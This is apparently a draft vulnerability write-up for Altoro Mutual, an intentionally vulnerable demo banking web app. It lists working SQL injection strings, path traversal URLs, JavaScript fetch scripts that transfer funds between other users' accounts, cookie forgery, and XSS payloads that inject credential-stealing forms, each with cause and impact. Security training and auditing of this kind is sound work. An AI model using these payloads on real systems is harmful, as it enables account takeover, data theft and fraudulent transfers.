draft.txt

- TODO
  - Cross-site scripting stuff go off-margin

- SQL injection
  - while logging in, provide
    - username: asd' or 1=1 --
    - password: anything
  - Impact: Bypass login
  - cause: DBUtil.isValidUser() method does string concatenation in SQL query

- SQL injection
  - Run the following script, and observe how all the bank accounts on the system are returned
      username = "asd' or 1=1 --";
      password = 'asd';
      res = await (
        await fetch('/altoromutual/api/login', {
          headers: { 'Content-Type': 'application/json' },
          method: 'POST',
          body: JSON.stringify({
            username,
            password
          })
        })
      ).json();

      auth = res.Authorization;

      await (
        await fetch('/altoromutual/api/account', {
          headers: { Authorization: auth }
        })
      ).json();
  - Impact: a user can list all of the accounts on the system
  - cause:
    - DBUtil.getUserInfo() method does string concatenation in SQL query
      - first user returned, but with username the same as the one sent in the parameter
    - DBUtil.getAccounts() method does string concatenation in SQL query
      - username returned above is used and the query is injected

- SQL injection
  - Modify the POST request of of filtered showTransactions
    to: startDate=2018-06-11&endDate=2018-06-11 23:59:59') OR 1=1 --
    - Or run this in console: Form1.onsubmit = undefined and enter the above start date and end date
  - Impact: list transactions of all users as an unauthorized user
  - Cause: DBUtil.getTransactions() method does string concatenation in SQL query

- SQL injection
  - Use the following script and observe how the API returns all of the transactions on the system:
    username = 'jdoe';
    password = 'demo1234';
    res = await (
      await fetch('/altoromutual/api/login', {
        headers: { 'Content-Type': 'application/json' },
        method: 'POST',
        body: JSON.stringify({
          username,
          password
        })
      })
    ).json();

    auth = res.Authorization;

    res = await (
      await fetch('/altoromutual/api/account/800004/transactions', {
        headers: { 'Content-Type': 'application/json', Authorization: auth },
        method: 'POST',
        body: JSON.stringify({
          startDate: '2018-06-11',
          endDate: "2018-06-11 23:59:59') OR 1=1 --"
        })
      })
    ).json();
  - Impact: list transactions of all users as an unauthorized user
  - Cause: DBUtil.getTransactions() method does string concatenation in SQL query

- Unauthorized file access
  - Go to "inside altoro" > 2006 community annual report
    - Replace the url after pr/ with Q3_earnings.rtf
  - Cause: all static assets under pr/ are served since it is in WebContent
  - Impact: unauthorized access to Altoro company earnings

- Unauthorized file access
  - Go to "inside altoro" > 2006 community annual report
    - Replace the url after pr/ with Draft.rtf
  - Cause: all static assets under pr/ are served since it is in WebContent
  - Impact: unauthorized access to Altoro confidential draft

- Path traversal
  - Visit /index.jsp?content=../WEB-INF/app.properties
    - You can replace "../WEB-INF/app.properties" with any file relative to src/WebContent/static
  - Cause: No validation on the path is done while serving content in index.jsp
  - Impact: the user can access any file in the WebContent directory including sensitive files in the WEB-INF directory

- Lack of input validation
  - Go to transfer funds, and transfer funds from an account to another by a value that is larger than the sender's
    balance
  - Cause: OperationsUtil.doServletTransfer does not check the available balance
  - Impact: a user can have bank accounts with negative amounts of money and can send money arbitrarily to other bank
    accounts

- Lack of input validation
  - Use the following javascript, and observe negative funds get sent from 800004 to 800005:
    username = 'jdoe';
    password = 'demo1234';
    res = await (
      await fetch('/altoromutual/api/login', {
        headers: { 'Content-Type': 'application/json' },
        method: 'POST',
        body: JSON.stringify({
          username,
          password
        })
      })
    ).json();

    auth = res.Authorization;

    res = await (
      await fetch('/altoromutual/api/transfer', {
        headers: { 'Content-Type': 'application/json', Authorization: auth },
        method: 'POST',
        body: JSON.stringify({
          toAccount: '800004',
          fromAccount: '800005',
          transferAmount: '1000000000000'
        })
      })
    ).json();
  - Cause: OperationsUtil.doApiTransfer does not do business logic checks before calling DBUtil.transferFunds
  - Impact: users can transfer negative funds to each other

- Lack of input validation
  - Use the following javascript, and observe negative funds get sent from 800004 to 800005:
    username = 'jdoe';
    password = 'demo1234';
    res = await (
      await fetch('/altoromutual/api/login', {
        headers: { 'Content-Type': 'application/json' },
        method: 'POST',
        body: JSON.stringify({
          username,
          password
        })
      })
    ).json();

    auth = res.Authorization;

    res = await (
      await fetch('/altoromutual/api/transfer', {
        headers: { 'Content-Type': 'application/json', Authorization: auth },
        method: 'POST',
        body: JSON.stringify({
          toAccount: '800005',
          fromAccount: '800004',
          transferAmount: '-2000000'
        })
      })
    ).json();
  - Cause: OperationsUtil.doApiTransfer does not do business logic checks before calling DBUtil.transferFunds
  - Impact: users can transfer negative funds to each other

- Broken access control
  - Use the following javascript, and observe funds get sent from 800000 to 800004:
    username = 'jdoe';
    password = 'demo1234';
    res = await (
      await fetch('/altoromutual/api/login', {
        headers: { 'Content-Type': 'application/json' },
        method: 'POST',
        body: JSON.stringify({
          username,
          password
        })
      })
    ).json();

    auth = res.Authorization;

    res = await (
      await fetch('/altoromutual/api/transfer', {
        headers: { 'Content-Type': 'application/json', Authorization: auth },
        method: 'POST',
        body: JSON.stringify({
          fromAccount: '800000',
          toAccount: '800004',
          transferAmount: '2000000'
        })
      })
    ).json();
  - Cause: OperationsUtil.doApiTransfer does not do business logic checks before calling DBUtil.transferFunds
  - Impact: a user can transfer money from an arbitrary account to his own

- Broken access control (blindly trusting cookies)
  - Go to altoromutual/bank/transfer.jsp
    - Run the following JavaScript script
        evilCookie = btoa('800000~evil~101|800004~Savings~101');
        document.cookie = `AltoroAccounts=${evilCookie}`;
        opt = document.createElement('option');
        opt.value = "800000";
        opt.innerHTML = "800000 victim";
        fromAccount.appendChild(opt);
    - Choose "800000 victim" from the "from" dropdown list (notice that it does not belong to Jane Doe)
    - Choose one of your accounts from the "to" dropdown list
    - Enter an amount of money, click "Transfer money" and notice the money get transferred from the victim's account
      to yours
  - Cause: OperationsUtil.doServletTransfer() checks for a cookie called AltoroAccounts, and if it exists, it uses it
    to determine the user's accounts. This cookie can be modified on the client side
  - Impact: a user can transfer funds from any account of any other user to their account

- Broken access control
  - Use the following javascript, and observe how you can fetch account details of another user:
      username = 'jdoe';
      password = 'demo1234';
      res = await (
        await fetch('/altoromutual/api/login', {
          headers: { 'Content-Type': 'application/json' },
          method: 'POST',
          body: JSON.stringify({
            username,
            password
          })
        })
      ).json();

      auth = res.Authorization;

      res = await (
        await fetch('/altoromutual/api/account/800000', {
          headers: { 'Content-Type': 'application/json', Authorization: auth },
          method: 'GET'
        })
      ).json();
  - Cause: AccountAPI.getAccountBalance() does not check whether the account belongs to the user
  - Impact: a user can view the bank account details of another user

- Broken access control
  - Use the following javascript, and observe how you can list the most recent 10 transactions of the bank account of another user:
      username = 'jdoe';
      password = 'demo1234';
      res = await (
        await fetch('/altoromutual/api/login', {
          headers: { 'Content-Type': 'application/json' },
          method: 'POST',
          body: JSON.stringify({
            username,
            password
          })
        })
      ).json();

      auth = res.Authorization;

      res = await (
        await fetch('/altoromutual/api/account/800000/transactions', {
          headers: { 'Content-Type': 'application/json', Authorization: auth },
          method: 'GET'
        })
      ).json();
  - Cause: AccountAPI.showLastTenTransactions() does not check whether the account belongs to the user
  - Impact: a user can view the most recent 10 transactions of the bank account of another user

- Broken access control
  - Go to "View account summary" > "Go" (on any account)
    - Then change the listAccounts URL parameter to a bank account number of another user
  - Cause: balance.jsp does not check if the account id belongs to the logged in user
  - Impact: a user can view the bank account details of another user

- Broken access control
  - Go to /altoromutual/admin/admin.jsp and observe how the user can access admin pages
  - Cause: AdminFilter is given on the wrong url (/adimn/* instead of /admin/*)
  - Impact: a user can take privileged actions as an administrator

- Cross site scripting
  - Go to /altoromutual/bank/customize.jsp?lang=%3Cbr%3E%3Cform%3E%3Clabel%3Eevil%20username%3C/label%3E%3Cinput%20type=%27text%27%3E%3Cbr%3E%3Clabel%3Eevil%20password%3C/label%3E%3Cinput%20type=%27password%27%3E%3Cinput%20type=%27submit%27%3E%3C/form%3E and observe how an evil form was injected
  - Cause: customize.jsp does not sanitize the request parameter before placing it on the DOM
  - Impact: an attacker can send such link to other users; the link appears as if it is genuine but it can contain an evil form that, when submitted, can cause the victim's data to be stolen

- Cross site scripting
  - Go to /altoromutual/search.jsp?query=%3Cform%3E%3Clabel%3Eevil+username%3C%2Flabel%3E%3Cinput+type%3D%22text%22%3E%3Cbr%3E%3Clabel%3Eevil+password%3C%2Flabel%3E%3Cinput+type%3D%22password%22%3E%3C%2Fform%3E and observe how an evil form was injected
  - Cause: search.jsp does not sanitize the request parameter before placing it on the DOM
  - Impact: an attacker can send such link to other users; the link appears as if it is genuine but it can contain an evil form that, when submitted, can cause the victim's data to be stolen

- Cross site scripting
  - Go to /altoromutual/util/serverStatusCheckService.jsp?HostName=%3Cscript%3Ealert(%22XSS%20injected%22)%3C/script%3E
  - Cause: serverStatusCheckService.jsp does not sanitize the request parameter before placing it on the DOM
  - Impact: an attacker can send such link to other users; the link appears as if it is genuine but it can contain an evil form that, when submitted, can cause the victim's data to be stolen

- Cross site scripting
  - Go to /altoromutual/bank/queryxpath.jsp?content=queryxpath.jsp&query=%22/%3E%3Cscript%3Ealert(%27xss%20injected%27)%3C/script%3E
  - Cause: queryxpath.jsp does not sanitize the request parameter before placing it on the DOM
  - Impact: an attacker can send such link to other users; the link appears as if it is genuine but it can contain an evil form that, when submitted, can cause the victim's data to be stolen

- Cross site scripting
  - Go to /altoromutual/bank/transaction.jsp?startDate=%22/%3E%3Cscript%3Ealert(%22XSS%20injected%22)%3C/script%3E
  - Cause: transaction.jsp does not sanitize the request parameter before placing it on the DOM
  - Impact: an attacker can send such link to other users; the link appears as if it is genuine but it can contain an evil form that, when submitted, can cause the victim's data to be stolen